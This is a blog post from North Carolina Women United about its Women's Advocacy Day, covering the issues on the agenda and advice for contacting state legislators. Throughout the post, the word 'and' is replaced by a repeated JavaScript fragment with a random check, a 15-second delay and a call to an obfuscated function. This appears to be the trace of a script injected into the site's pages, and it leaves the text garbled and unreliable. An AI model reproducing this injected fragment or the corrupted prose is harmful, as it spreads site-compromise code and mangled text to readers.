How to Walk the Walk

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Women AdvaNCe team member NaShonda Cooke speaks with media at Women's Advocacy Day.

Women AdvaNCe team member NaShonda Cooke speaks with media at Women’s Advocacy Day.

By Tara Romano, NC Women’s United

At this past month’s Women’s Advocacy Day (WAD), approximately 200 women (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some men) from across the state came to Raleigh to learn about >>numerous policy issues being debated at the North Carolina General Assembly this legislative session. And not just any issues, but issues that directly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or uniquely impact women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and families in North Carolina. Of course that covers the issues people think of as “traditional women’s issues” – reproductive rights, sexual andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and domestic violence, early education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and affordable, quality childcare. North Carolina Women United (NCWU), the coalition that coordinated this Advocacy Day, didn’t stop there, though.

 

Economic security, such as access to paid sick andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family leave, reinstating the Earned Income Tax Credit, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and raising the minimum wage, were also on the agenda; 40% of working women in North Carolina are their family’s primary breadwinner, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an even higher number contribute substantially to their families’ economic security. Protecting civil rights, including LGBTQ andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and immigrant rights, were also on the agenda; because homophobic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and xenophobic policies leaves some women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families vulnerable to violence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and separation. Police accountability was on the agenda; because aggressive policing in communities of color is having a profound andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and devastating impact on families, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women are also sometimes the victims of police brutality. Access to healthcare was on the agenda; not just because women tend to need access to health care more throughout their lives, but also because of their traditional role as primary caregiver to ill family members.  Fair tax reform was on the agenda; because women-headed households are more likely to live in poverty than any other family type, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more likely to need access to critical social safety net services provided for by tax dollars. And voting rights was on the agenda; both because women tend to vote in higher numbers than men, but also because women – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in particular, women of color – are also more likely to be impacted by voting restrictions.  And with so many issues impacting women in unique ways, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women still underrepresented in our General Assembly, women need to bring their voices to both the ballot box andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the halls of the legislature.

 

NCWU has been holding WAD for many years now, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this year was one of our biggest turnouts yet! We know there were many participants who were new to advocacy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our event – with its Advocacy 101 training andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and issue expert speakers – is designed to make it easy for those first-time citizen advocates. We know it can be intimidating if you’ve never reached out to your elected representatives before, or are unsure who they even are. But newcomers to advocacy are in good company – there has been a recent surge in citizens wanting to get involved in policy discussions at the local, state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and federal level.  And we believe our democracy is the stronger for it. If you attended WAD last week, thank you! We look forward to seeing you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the others you bring with you, in the public square.

 

And we look forward to your continued advocacy! While the NCGA is still in session, follow the bills that are important to you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make your plan to bring your voice to the policy debate. There are many ways to do this. You can follow a bill’s progress on the >>NCGA website, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reach out to your representatives when it comes time for a House or Senate vote. Or you can start when a bill goes to a committee, before it comes up for a floor vote. If your representative is on the committee, go ahead andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and contact them to talk about why the bill is important to you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why you think it should (or shouldn’t) come up for a vote. If your representative is not on the committee, it’s okay to call the chair of the committee to discuss a bill; anyone in a leadership position is accountable to a larger group of constituents than just their district.

 

You could also set up a regular time to contact your representatives (weekly, etc) to talk to them about any particular policy concerns you have, or needs you see in your district. Developing a relationship with your elected representatives is a great way to stay engaged. And while all of these actions can be done on your own, advocacy is always more fun with a group! Set up a date to visit your representative with other friends in your district. Or host a party to write letters andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and postcards, or to raise awareness about a local issue with your neighbors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and co-workers. Contributing letters-to-the editor on issues you care about will also have an impact on both lawmakers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your fellow citizens.  

 

As NCWU is as >>coalition of organizations, we also recommend connecting with a particular organization that does work meaningful to you. They will have opportunities for you to engage in specific advocacy, as well as ways to volunteer.

 

And remember, citizen advocacy is a lifelong endeavor, so keep the big picture in mind at times when it feels like your efforts aren’t having an impact. The first step is always the most difficult – now that you’ve started your advocacy, you’ll soon develop the skills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and knowledge to make a difference in public policy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in your community.  

 




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